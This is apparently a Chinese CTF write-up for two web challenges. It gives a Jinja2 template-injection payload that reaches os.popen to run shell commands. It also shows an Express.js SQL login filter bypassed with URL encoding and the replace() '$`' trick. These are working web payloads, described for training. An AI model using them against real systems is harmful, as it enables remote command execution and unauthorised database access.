Rank-l
登录的时候用户名可以ssti,有黑名单
phone_number={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}
![image-20250118101754958]
密码随意,错误的时候会渲染用户名
password=admin123&a=__globals__&b=os&c=nl /flagf149
![image-20250118101709774]
sqli or not
源码
var express = require('express');
var router = express.Router();
module.exports = router;
router.get('/',(req,res,next)=>{
if(req.query.info){
console.log(req.query);
if(req.url.match(/\,/ig)){
res.end('hacker1!');
}
console.log(req.query.info);
var info = JSON.parse(req.query.info);
console.log(info);
console.log(info.username.match)
if(info.username&&info.password){
var username = info.username;
var password = info.password;
console.log(username);
if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){
res.end('hacker2!');
}
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
console.log(sql);
res.send(sql);
// connection.query(sql,function (err,rs) {
// if (err) {
// res.end('error1');
// }
// else {
// if(rs.length>0){
// res.sendFile('/flag');
// }else {
// res.end('username or password error');
// }
// }
// })
}
else{
res.end("please input the data");
}
}
else{
res.end("please input the data");
}
})
var app = express();
app.use('/', router);
app.listen(3000,'0.0.0.0',function(){
console.log("Server started on port 3000");
})
第一个waf,url编码就可以绕过了,因为url获取的是原始的,req.query.info获取的是url解码之后的
if(req.url.match(/\,/ig)){
res.end('hacker1!');
}
第二个waf过滤了' " \
等字符,注意这里用了replace函数
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
而我们可控的第二个参数可以是$`,相当于select * from userinfo where username = ',也就是匹配到{username}的左边字符串。
![image-20250118192521986]
?info={"username":"$`%20or%201=1%23"%2c"password":"1"}
相当于多了一个'来闭合
![image-20250118193235515]
Financial Literacy Blog - https://d.webtune.space/
GeJoudge
GeJoudge 前天